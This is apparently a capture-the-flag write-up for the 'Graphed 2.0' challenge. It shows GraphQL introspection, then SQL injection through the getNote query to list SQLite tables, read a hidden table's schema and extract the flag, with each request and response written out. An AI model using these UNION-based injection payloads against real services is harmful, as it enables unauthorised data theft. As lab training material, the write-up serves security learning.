Graphed 2.0

Given

graphed notes is finally here !!!!!! but it looks like something is still broken with that site
author: pop_eax

Link to application: Site

Analysis

Looking at the source code for the site: Source code

Sending introspection query using insomnia to graphql endpoint:

Introspection

Trying to send a sqli to the get note query function give us valuable information:

Request:
query {getNote(q: "test'"){body}}

Response:
{"errors":[{"message":"(sqlite3.OperationalError) unrecognized token: \"'test''\"\n[SQL: SELECT * FROM NOTES where uuid='test'']\n(Background on this error at: http://sqlalche.me/e/13/e3q8)","locations":[{"line":1,"column":8}],"path":["getNote"]}],"data":{"getNote":null}}

Now we know that it is using sqlite3 and how the query is structured!

Exploit

First let's start with getting the tables in the database:

Request:
query {getNote(q: "' UNION SELECT tbl_name, null, null, null FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%'--"){body}}

Response:
{"errors":[{"message":"Received incompatible instance \"('Notes', None, None, None)\"."},{"message":"Received incompatible instance \"('users', None, None, None)\"."},{"message":"Received incompatible instance \"('\u0627\u0644\u0639\u0644\u0645', None, None, None)\"."}],"data":{"getNote":[null,null,null]}}

Cool, so now we know that the database has the tables:

Notes and users seem to correspond to what we saw in the GQL schema. Let's have a look at that final table:

Request:
query {getNote(q: "' UNION SELECT sql, null, null, null FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name ='\u0627\u0644\u0639\u0644\u0645'--"){body}}

Response:
{"errors":[{"message":"Received incompatible instance \"('CREATE TABLE \u0627\u0644\u0639\u0644\u0645 (id INTEGER PRIMARY KEY, flag TEXT NOT NULL)', None, None, None)\"."}],"data":{"getNote":[null]}}

So that table has the column names id and flag. Lets get them!

Request:
query {getNote(q: "' UNION SELECT id, flag, null, null FROM '\u0627\u0644\u0639\u0644\u0645'--"){body}}

Response:
{"errors":[{"message":"Received incompatible instance \"(0, \"flag{h0p3_u_can't_r3@d_1t9176}\", None, None)\"."}],"data":{"getNote":[null]}}

Flag found! flag{h0p3_u_can't_r3@d_1t9176}